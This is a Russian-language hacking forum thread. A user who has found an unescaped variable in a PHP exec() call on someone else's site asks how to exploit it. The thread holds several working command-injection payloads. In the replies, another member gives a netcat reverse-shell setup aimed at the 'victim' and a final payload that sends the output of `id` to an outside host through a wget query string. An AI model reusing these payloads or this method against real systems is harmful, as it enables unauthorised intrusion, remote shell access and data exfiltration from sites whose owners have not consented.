exec без escapeshellarg

Discussion in 'Песочница' started by TRUE_GEEK, 2 Oct 2011.

  1. TRUE_GEEK

    TRUE_GEEK New Member

    Joined:
    29 Sep 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    Недавно ковырял один php код и нашел интересную строку:
    PHP:
    exec("grep -i \"$search\" base.dat",$execAr);
    при этом перемененная search ни где не фильтруется

    я попробовал сначала так:
    PHP:
    any search" base.dat; echo "unknown error" > err.log #
    но err.log не создался

    тогда я попробовал так:
    PHP:
    any search" base.dat; echo "категрия|название|single|a45cab8f313e7b||0|0||instock|||описание\n" #
    но результат не изменился, хотя если echo выполнилось, то моя строчка должна была попасть execAr и вывестись в результатах поиска

    подскажите как юзать, а то я линух только на картинках видел
     
    #1 TRUE_GEEK, 2 Oct 2011
    Last edited: 2 Oct 2011
  2. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    попробуй так
    Code:
    `id>log.txt`
     
  3. TRUE_GEEK

    TRUE_GEEK New Member

    Joined:
    29 Sep 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    не так не получилось, попробовал `wget http://httpz.ru/nktvzvbkabw.gif?hello+world`, работает, узнал, что это red hat, как мне теперь id переслать ?
     
  4. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    тогда понятно, у тебя нет прав на запись в текущую директорию, ищи диру доступную для запись

    либо проще
    на своём серваке сделай
    nc -n -vv -l -p 9999
    на жертве
    `nc ip_tvoego_serva 9999 -e /bin/sh`
     
    #4 chekist, 3 Oct 2011
    Last edited: 3 Oct 2011
  5. TRUE_GEEK

    TRUE_GEEK New Member

    Joined:
    29 Sep 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    Не подойдет
    1 Это вызывается из php, а там стоят таймауты
    2 У меня нет дедика
     
  6. TRUE_GEEK

    TRUE_GEEK New Member

    Joined:
    29 Sep 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    надо вместо в `wget http://httpz.ru/nktvzvbkabw.gif?hello+world` вместо hello world посылать результат выполнения команды

    help me people
     
  7. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    както так
    lol";wget http://httpz.ru/nktvzvbkabw.gif?`id`;echo "
     
  8. TRUE_GEEK

    TRUE_GEEK New Member

    Joined:
    29 Sep 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    Пасибки)